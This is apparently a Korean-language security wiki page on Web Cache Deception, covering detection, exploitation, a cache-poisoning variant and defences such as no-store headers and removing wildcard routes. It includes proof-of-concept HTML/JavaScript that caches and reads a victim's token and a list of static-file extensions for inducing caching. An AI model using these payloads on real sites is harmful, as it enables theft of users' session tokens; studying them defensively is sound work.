Web Cache Deception

Introduction

Web Cache Deception은 중요 정보를 리턴하는 API에서 해당 정보를 캐시하도록 설정되어 있거나, 처리 방식 미흡함을 이용하여 공격자가 임의로 사용자의 중요 정보를 캐시하고 SOP를 무시하여 정보를 탈취할 수 있는 공격 방법입니다.

만약 아래와 같이 중요한 정보가 Response로 제공되지만 SOP로 인해 보호되고 있는 상태인 경우 공격자가 해당 Response를 핸들링하여 해당 정보를 가져갈 수 없습니다. 물론 CORS 설정이 잘못된 경우 정보를 핸들링하여 가져갈 수 있고, 이는 보통 JSON Hijacking으로 표현합니다. 때때로 어떤 API들은 Response에 중요정보를 담고 있지만, Cache 관련 헤더를 통해 브라우저가 이를 캐시하도록 유도하는 경우가 있습니다.

GET /token HTTP/1.1

HTTP/1.1 200
Cache-Control: private, max-age=3600

{
  "token":"abcdfasdfas"
}

이러한 경우 이미 해당 URL의 데이터가 브라우저에 캐시되어 있기 때문에 XMLHttpRequest, $ajax 등으로 호출 시 withCredential을 false로 설정(이는 CORS: * 일 때 SOP를 무시하고 데이터를 가져올 수 있도록 처리하는 방법입니다. [참고/관련내용])하여 쿠키가 붙지 않은 요청이 전송되더라도 캐시된 결과를 리턴하기 떄문에 결과적으로 공격자가 중요정보를 읽을 수 있게 됩니다.

그리고 어떤 API들은 정확한 경로로만 호출할 수 있는게 아닌 wildcard를 사용하여 하위 경로나 다른 확장자로 호출해도 데이터를 리턴하는 경우가 있습니다.

REQ/RES 1

GET /token HTTP/1.1

HTTP/1.1 200
{
  "token":"abcdfasdfas"
}

REQ/RES 2

GET /token/abcd HTTP/1.1

HTTP/1.1 200
{
  "token":"abcdfasdfas"
}

이렇게 하위 경로나 확장자 등을 영향받지 않고 데이터를 리턴한다면 강제로 캐시를 유도하는 헤더가 없다고 해도 아래와 같이 css/js/jpg 등 브라우저가 캐시하려고 하는 확장자를 이용해서 response 정보를 캐시할 수 있습니다.

GET /token/abcd.jpg HTTP/1.1

HTTP/1.1 200
{
  "token":"abcdfasdfas"
}

이미 URL은 중요정보가 포함된 상태로 캐시됬기 떄문에 공격자가 다시 해당 파일을 인증 없는 상태로 재 요청하여 캐시된 결과를 받아올 수 있습니다. 결과적으로 SOP를 우회할 수 있는 방법이 됩니다.

<img src="https://target/token/abcd.jpg" style="width:1px; height:1px;" onload="getToken()">
<script>
function getToken(){
		var http = new XMLHttpRequest();
		http.onload = function(){
		  console.log(http.responseText);
		};
		http.open("GET", "https://target/token/abcd.jpg", true);
		http.withCredentials = false;
		http.send();
}
</script>

Offensive techniques

Detect

Cache Deception을 식별하려면 당연히 중요정보가 있는 API에서 캐시가 가능한지 테스트가 필요합니다. 기본적으로는 Response 헤더 내 Cache-Control을 통해 강제로 캐시를 유도하는지 체크하고, 별다른 캐시 설정이 없는 경우 이미지, JS 등 리소스 관련 확장자를 이용해 브라우저가 중요정보 페이지를 캐시할 수 있는지 테스트가 필요합니다.

Resource를 이용한 캐시 유도 예시

/token/payload.aif
/token/payload.aiff
/token/payload.au
/token/payload.avi
/token/payload.bin
/token/payload.bmp
/token/payload.cab
/token/payload.carb
/token/payload.cct
/token/payload.cdf
/token/payload.class
/token/payload.css
/token/payload.doc
/token/payload.dcr
/token/payload.dtd
/token/payload.gcf
/token/payload.gff
/token/payload.gif
/token/payload.grv
/token/payload.hdml
/token/payload.hqx
/token/payload.ico
/token/payload.ini
/token/payload.jpeg
/token/payload.jpg
/token/payload.js
/token/payload.mov
/token/payload.mp3
/token/payload.nc
/token/payload.pct
/token/payload.ppc
/token/payload.pws
/token/payload.swa
/token/payload.swf
/token/payload.txt
/token/payload.vbs
/token/payload.w32
/token/payload.wav
/token/payload.wbmp
/token/payload.wml
/token/payload.wmlc
/token/payload.wmls
/token/payload.wmlsc
/token/payload.xsd
/token/payload.zip

Exploitation

중요정보를 캐시할 수 있다면 이제 해당 정보를 img 태그 등으로 캐시한 후 데이터를 읽으면 됩니다. 이미 캐시된 데이터를 읽기 때문에 CORS: * 등 Response 핸들링에 제한이 있더라도 withCredentials를 false로 주어 이를 무시할 수 있습니다.

<img src="https://target/token/abcd.jpg" style="width:1px; height:1px;" onload="getToken()">
<script>
function getToken(){
		var http = new XMLHttpRequest();
		http.onload = function(){
		  console.log(http.responseText);
		};
		http.open("GET", "https://target/token/abcd.jpg", true);
		http.withCredentials = false;
		http.send();
}
</script>

Bypass protection

With Cache Poisoning

만약 서비스에 Web Cache Poisoning 취약점이 존재한다면, 이를 통해 Cache Deception을 유도할 수 있습니다. 만약 X-Unkeyd-Input 라는 헤더가 Poisoning의 unkeyd input으로 쓰일 수 있다면, 아래와 같이 해당 헤더를 포함한 요청을 발생시켜 캐시되도록 유도할 수 있습니다. 이 때 일반 페이지로 캐시하면 전역 캐시가 되기 때문에 특정 식별 정보(아래 예시에선 userid)를 파라미터로 붙여주어 Cache busting 처리를 하면 개개인 세션마다 중요정보를 캐시할 수 있습니다.

Req

GET /token/?userid=1234
X-Unkeyd-Input: 1234

Script

function sleep(ms) {
  const wakeUpTime = Date.now() + ms;
  while (Date.now() < wakeUpTime) {}
}

// Unkeyed Input을 통해 캐시합니다.
var http = new XMLHttpRequest();
http.open("GET", "https://target/token/?userid=1234", true);
http.withCredentials = true;
http.setRequestHeader("X-Unkeyed-Input","1234")
http.send();

// 위 요청이 캐시되기까지 약간 기다립니다.
sleep(3000);

// 캐시된 결과를 읽어옵니다.
var http = new XMLHttpRequest();
http.open("GET", "https://target/token/?userid=1234", true);
http.onload = function(){
		  console.log(http.responseText);
		};
http.withCredentials = false;
http.send();

Defensive techniques

대응방안은 간단합니다. 중요정보를 다루는 API에 대해선 캐시될 여지를 남겨놓지 않는게 좋습니다. 일반적으로 cache-control 헤더를 통해 no-store 등 캐시하지 않도록 설정하면 됩니다.

Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0

또한 중요정보 API들은 handler 등에서 정확한 URL로만 사용할 수 있도록 wildcard 처리는 제거합니다.

e.g golang-echo - before

e.GET("/token/*", func(c echo.Context) error {
	// Logic ...
	return c.JSON(http.StatusOK, r)
})

e.g golang-echo - after

e.GET("/token/", func(c echo.Context) error {
	// Logic ...
	return c.JSON(http.StatusOK, r)
})

Tools

References